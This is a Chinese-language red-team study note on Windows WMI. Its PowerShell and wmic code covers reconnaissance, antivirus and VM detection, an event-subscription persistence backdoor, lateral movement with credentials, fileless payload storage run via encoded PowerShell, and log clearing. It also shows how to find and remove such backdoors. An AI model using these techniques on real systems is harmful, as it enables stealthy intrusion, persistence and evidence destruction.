一、介绍

WMI 是 powershell 的子系统,为系统管理员提供了用于系统监视的的工具。

WMI 的用途:

  • 本地/远程系统的状态信息
  • 在远程计算机/应用程序上配置安全设置
  • 设置和更改用户和组权限
  • 设置/修改系统属性
  • 代码执行
  • 调度流程
  • 设置日志记录
  1. 使用 Powershell 操作 WMI 管理

注意: 这里Powershell操作WMI的对象使用的是内置模块Get-WmiObject,以及查询的类为Win32_Service类,Win32_Service的其他类在官方文档中已经罗列详细:Win32类计算机硬件类、操作系统类等,但是要注意Win32_Service不是唯一可以操作WMI的类,以下类可以交替使用。

  • WIn32_Service
  • Win32_BaseService
  • Win32_TerminalService
  • Win32_SystemDriver
  1. 使用 wmic 操作 WMI 管理
  1. #查询windows机器版本和服务位数和.net版本
  2. wmic os get caption
  3. wmic os get osarchitecture
  4. wmic OS get Caption,CSDVersion,OSArchitecture,Version
  5. #查询本机所有盘符
  6. fsutil fsinfo drives
  7. shell wmic logicaldisk list brief
  8. shell wmic logicaldisk get description,name,size,freespace /value
  9. #查看系统中⽹卡的IP地址和MAC地址
  10. wmic nicconfig get ipaddress,macaddress
  11. #⽤户列表
  12. wmic useraccount list brief
  13. #查看当前系统是否有屏保保护,延迟是多少
  14. wmic desktop get screensaversecure,screensavertimeout
  15. #域控机器
  16. wmic ntdomain list brief
  17. #查询杀软
  18. wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe && wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
  19. #查询启动项
  20. wmic startup list brief |more
  21. #获取打补丁信息
  22. wmic qfe list
  23. #启动的程序
  24. wmic startup list brief
  25. #启动的程序
  26. wmic startup list full
  27. # 查询系统信息
  28. wmic os list brief

二、红队应用

整理、参考自:

http://drops.xmd5.com/static/drops/tips-8189.html

http://drops.xmd5.com/static/drops/tips-8260.html

https://wooyun.js.org/drops/WMI Defense.html Defense.html)

https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/

1. 侦察

操作系统相关信息

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
  2. wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem GET /all /FORMAT:list
  3. wmic os GET /all /FORMAT:list
  4. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
  5. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS

文件/目录列表

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile

磁盘卷列表

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume

注册表操作

  1. $HKEY_CURRENT_USER =&H80000001
  2. $computer ='.'
  3. $reg = [WMIClass]"ROOT\DEFAULT:StdRegProv"
  4. $Key = "Console"
  5. $Value = "HistoryBufferSize"
  6. $results = $reg.GetDWORDValue($HKEY_CURRENT_USER, $Key, $value)
  7. "Current History Buffer Size: {0}" -f $results.uValue
  1. wmic /NAMESPACE:"\\root\DEFAULT" path stdregprov call GetDWORDValue ^&H80000001,"Console", "HistoryBufferSize"

当前进程

  1. wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Process GET Caption /FORMAT:list
  2. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process

列举服务

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service

日志

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent

登陆账户

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser

共享

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share

补丁

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering

杀毒软件

  1. Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

虚拟机检测

  1. $VMwareDetected = $False
  2. $VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
  3. "%VMware%" OR Name LIKE "%VMware%"'
  4. $VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
  5. $VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
  6. if ($VMAdapter -or $VMBios -or $VMToolsRunning)
  7. {
  8. $VMwareDetected = $True
  9. "in vm"
  10. }
  11. else
  12. {
  13. "not in vm"
  14. }
  1. $VMDetected = $False
  2. $Arguments = @{
  3. Class = 'Win32_ComputerSystem'
  4. Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
  5. }
  6. if (Get-WmiObject @Arguments) {
  7. $VMDetected = $True
  8. "In vm"
  9. }
  10. else{
  11. "Not in vm"
  12. }
  1. wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem GET NumberOfLogicalProcessors,TotalPhysicalMemory /FORMAT:list

2. 持久化

开机超过180s,每5s启动一次notepad.exe

  1. //管理员权限
  2. $wmiParams = @{
  3. Computername = $env:COMPUTERNAME
  4. ErrorAction = 'Stop'
  5. NameSpace = 'root\subscription'
  6. }
  7. $wmiParams.Class = '__EventFilter'
  8. $wmiParams.Arguments = @{
  9. Name = 'evil'
  10. EventNamespace = 'root\CIMV2'
  11. QueryLanguage = 'WQL'
  12. Query = "select * from __InstanceModificationEvent within 5 where targetInstance isa 'Win32_PerfFormattedData_PerfOS_System' and targetInstance.SystemUpTime >= 180 "
  13. }
  14. $filterResult = Set-WmiInstance @wmiParams
  15. $wmiParams.Class = 'CommandLineEventConsumer'
  16. $wmiParams.Arguments = @{
  17. Name = 'evil'
  18. CommandLineTemplate = 'C:\Windows\System32\notepad.exe'
  19. }
  20. $consumerResult = Set-WmiInstance @wmiParams
  21. $wmiParams.Class = '__FilterToConsumerBinding'
  22. $wmiParams.Arguments = @{
  23. Filter = $filterResult
  24. Consumer = $consumerResult
  25. }
  26. $bindingResult = Set-WmiInstance @wmiParams

WMI - 图1

查看WMI后门

  1. //管理员权限
  2. #List Event Filters
  3. Get-WMIObject -Namespace root\Subscription -Class __EventFilter
  4. #List Event Consumers
  5. Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
  6. #List Event Bindings
  7. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

删除WMI后门

  1. //管理员权限
  2. #Filter
  3. Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='evil'" | Remove-WmiObject -Verbose
  4. #Consumer
  5. Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='evil'" | Remove-WmiObject -Verbose
  6. #Binding
  7. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%evil%'" | Remove-WmiObject -Verbose

3. 横向移动

  1. wmic /node:192.168.240.144 /user:ring2\win10 /password:trend#1. process call create "notepad.exe"
  2. wmic /node:192.168.240.144 /user:ring2\win10 /password:trend#1. process where name="notepad.exe" delete

WMI - 图2

如果出现RPC 服务器不可用”这个错误,可以确认下防火墙入站规则中是否开启了wmi

WMI - 图3

4. 存储payload

把payload 存储在类属性中,不会留下文件,实际位于硬盘上的一个复杂的数据库中(objects.data)

  1. 【管理员权限】
  2. # 新建evil ManagementClass
  3. $evilClass = New-Object System.Management.ManagementClass("root\cimv2", $null, $null)
  4. $evilClass.__CLASS = "evil"
  5. $evilClass.Properties.Add("Code", [System.Management.CimType]::String, $false)
  6. $command = "Start-Process notepad.exe"
  7. $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
  8. $encodedCommand = [Convert]::ToBase64String($bytes)
  9. $evilClass.Properties["Code"].Value = $encodedCommand
  10. $evilClass.Put()
  11. # 执行储存在evil class属性中的代码
  12. $code = ([wmiclass]"\\.\root\cimv2:evil").Properties["Code"].value
  13. powershell.exe -enc $code
  14. # 删除
  15. $evilClass.delete()

更多

1. WMI订阅

以监控到notepad.exe启动后记录日志为例

powershell cmdlet Set-WmiInstance支持创建一个WMI Instance

  1. #wmiParams字典用于Splatting, 指定3个参数 -Computername, -ErrorAction, -Namespace
  2. $wmiParams = @{
  3. Computername = $env:COMPUTERNAME
  4. ErrorAction = 'Stop'
  5. NameSpace = 'root\subscription'
  6. }
  7. #新建Filter, $wmiParams.Arguments就是Set-WmiInstance命令里的-Arguments参数,其值是__EventFilter构造函数所需参数
  8. $wmiParams.Class = '__EventFilter'
  9. $wmiParams.Arguments = @{
  10. Name = 'ProcessFilter'
  11. EventNamespace = 'root\CIMV2'
  12. QueryLanguage = 'WQL'
  13. Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and targetInstance.Name = 'Notepad.exe' "
  14. }
  15. $filterResult = Set-WmiInstance @wmiParams
  16. #同理,新建Consumer
  17. $wmiParams.Class = 'LogFileEventConsumer'
  18. $wmiParams.Arguments = @{
  19. Name = 'ProcessConsumer'
  20. Text = 'A process has been created: %TargetInstance.Name%'
  21. FileName = $env:USERPROFILE + "\Desktop\log.log"
  22. }
  23. $consumerResult = Set-WmiInstance @wmiParams
  24. #同理,新建Binding
  25. $wmiParams.Class = '__FilterToConsumerBinding'
  26. $wmiParams.Arguments = @{
  27. Filter = $filterResult
  28. Consumer = $consumerResult
  29. }
  30. $bindingResult = Set-WmiInstance @wmiParams
  31. ##移除WMI订阅事件
  32. #Filter
  33. Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ProcessFilter'" | Remove-WmiObject -Verbose
  34. #Consumer
  35. Get-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ProcessConsumer'" | Remove-WmiObject -Verbose
  36. #Binding
  37. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ProcessFilter%'" | Remove-WmiObject -Verbose

也可以用原生.Net类ManagementClass创建WMI Instance。

  1. #Creating a new event filter
  2. $instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
  3. $instanceFilter.QueryLanguage = "WQL"
  4. $instanceFilter.Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and targetInstance.Name = 'Notepad.exe'"
  5. $instanceFilter.Name = "ProcessFilter"
  6. $instanceFilter.EventNamespace = 'root\cimv2'
  7. $result = $instanceFilter.Put()
  8. $newFilter = $result.Path
  9. #Creating a new event consumer
  10. $instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()
  11. $instanceConsumer.Name = 'LogFileEventConsumer'
  12. $instanceConsumer.Filename = $env:USERPROFILE + "\Desktop\log2.log"
  13. $instanceConsumer.Text = 'A process has been created: %TargetInstance.Name%'
  14. $result = $instanceConsumer.Put()
  15. $newConsumer = $result.Path
  16. #Bind filter and consumer
  17. $instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
  18. $instanceBinding.Filter = $newFilter
  19. $instanceBinding.Consumer = $newConsumer
  20. $result = $instanceBinding.Put()
  21. $newBinding = $result.Path
  22. ##Removing WMI Subscriptions using Remove-WMIObject
  23. ([wmi]$newFilter).Delete()
  24. ([wmi]$newConsumer).Delete()
  25. ([wmi]$newBinding).Delete()

%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA 下会记录WMI订阅的信息,如果怀疑感染后被设置WMI订阅驻留,除了powershell命令,也可以看看这个文件有没有特别的WMI 订阅。

WMI - 图4

除了LogFileEventConsumer,CommandLineEventConsumer,还可以使用ActiveScriptEventConsumer 执行脚本

(1)直接执行现有脚本

  1. instance of ActiveScriptEventConsumer as $Cons
  2. {
  3. Name = "ASEC";
  4. ScriptingEngine = "VBScript";
  5. ScriptFileName = "c:\\asec2.vbs";
  6. };

(2)内嵌脚本,不会留下痕迹

  1. instance of ActiveScriptEventConsumer as $Cons
  2. {
  3. Name = "ASEC";
  4. ScriptingEngine = "VBScript";
  5. ScriptText =
  6. "Dim objFS, objFile\n"
  7. "Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n"
  8. "Set objFile = objFS.OpenTextFile(\"C:\\ASEC.log\","
  9. " 8, true)\nobjFile.WriteLine \"Time: \" & Now & \";"
  10. " Entry made by: ASEC\"\nobjFile.WriteLine"
  11. " \"Application closed. UserModeTime: \" & "
  12. "TargetEvent.TargetInstance.UserModeTime &_\n"
  13. "\"; KernelModeTime: \" & "
  14. "TargetEvent.TargetInstance.KernelModeTime "
  15. "& \" [hundreds of nanoseconds]\"\n"
  16. "objFile.Close\n";
  17. };

2. 系统监控

监视进程创建

  1. $filterName = 'BotFilter48'
  2. $consumerName = 'BotConsumer48'
  3. #查询进程创建事件
  4. $Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
  5. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
  6. #写入日志文件
  7. $Arg =@{
  8. Name=$consumerName
  9. Filename = 'C:\test\log.log'
  10. Text = 'New Process Created with name %TargetInstance.Name%'
  11. }
  12. $WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
  13. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

监视进程结束

  1. $filterName = 'BotFilter49'
  2. $consumerName = 'BotConsumer49'
  3. # 查询进程结束事件
  4. $Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
  5. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
  6. $Arg =@{
  7. Name=$consumerName
  8. Filename = 'C:\test\log.log'
  9. Text = 'Task kill with name %TargetInstance.Name%'
  10. }
  11. $WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
  12. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

监视注册表

(1)监视单一键值

  1. $filterName = 'BotFilter51'
  2. $consumerName = 'BotConsumer51'
  3. $Query ="SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
  4. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\default";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
  5. $Arg =@{
  6. Name=$consumerName
  7. Filename = 'C:\test\log.log'
  8. Text ='The change is HKEY_LOCAL_MACHINE\\%KeyPath%'
  9. }
  10. $WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
  11. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

(2)监视某一键值及其子键

监视 “HKEY_LOCAL_MACHINE\\SOFTWARE\Microsoft” 键值及其子键的任何改动

  1. $filterName = 'BotFilter52'
  2. $consumerName = 'BotConsumer52'
  3. $Query ="SELECT * FROM RegistryTreeChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND RootPath='SOFTWARE\\Microsoft\\'"
  4. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=
  5. $filterName;EventNameSpace="root\default";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
  6. $Arg =@{
  7. Name=$consumerName
  8. Filename = 'C:\test\logtree.log'
  9. Text ='The change is HKEY_LOCAL_MACHINE\\%RootPath%'
  10. }
  11. $WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
  12. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=
  13. $WMIEventFilter;Consumer=$WMIEventConsumer}

wmic

  1. wmic /?
  2. wmic computersystem get Name, domain, Manufacturer, Model, Username, Roles /format:list
  3. # group sids
  4. wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
  5. # Get OS Details
  6. wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate, NumberofProcesses, NumberofUsers, Organization, Registereduser, Status /format:list
  7. # Get the Motherboard Details
  8. wmic baseboard get Manufacturer, Product, SerialNumber, Version
  9. # Get BIOS Serial Number
  10. wmic bios, get serialNumber
  11. # Get Hard Disk Details
  12. wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list
  13. # Get Hard Disk Partitions Details
  14. wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName
  15. # Detect If victim system is a host OS or installed via VMware
  16. wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
  17. # Lock a User Account
  18. wmic useraccount where name='demo' set disabled=false
  19. # Remove Password requirement for logging
  20. wmic useraccount where name='demo' set PasswordRequired=false
  21. # Rename a user account
  22. wmic useraccount where name='demo' rename hacker
  23. # Restrict user from changing a password
  24. wmic useraccount where name='hacker' set passwordchangeable=false
  25. # Get Antivirus Details
  26. wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
  27. # Clear System Logs
  28. wmic nteventlog where filename='system' call cleareventlog
  29. # create process
  30. wmic process call create "taskmgr.exe"
  31. # Terminate a process
  32. wmic process where name="explorer.exe" call terminate
  33. # Get a list of Installed Applications
  34. wmic product get name
  35. # Get a list of Running Services
  36. wmic service where (state="running") get caption, name, startmode, state
  37. # Get Startup Services
  38. wmic startup get Caption, Command
  39. # get a list which contains the location of the executable files other than that of windows.
  40. wmic PROCESS WHERE "NOT ExecutablePath LIKE ‘%Windows%’" GET ExecutablePath
  41. # Get System Driver Details
  42. wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
  43. # Locate System Files
  44. wmic environment get Description, VariableValue
  45. # Get Folder Properties
  46. wmic FSDIR where "drive='c:' and filename='test" get /format:list
  47. # Get File Properties
  48. wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
  49. # Change Priority of a Process
  50. wmic process where name="explorer.exe" call setpriority 64

原文

WMI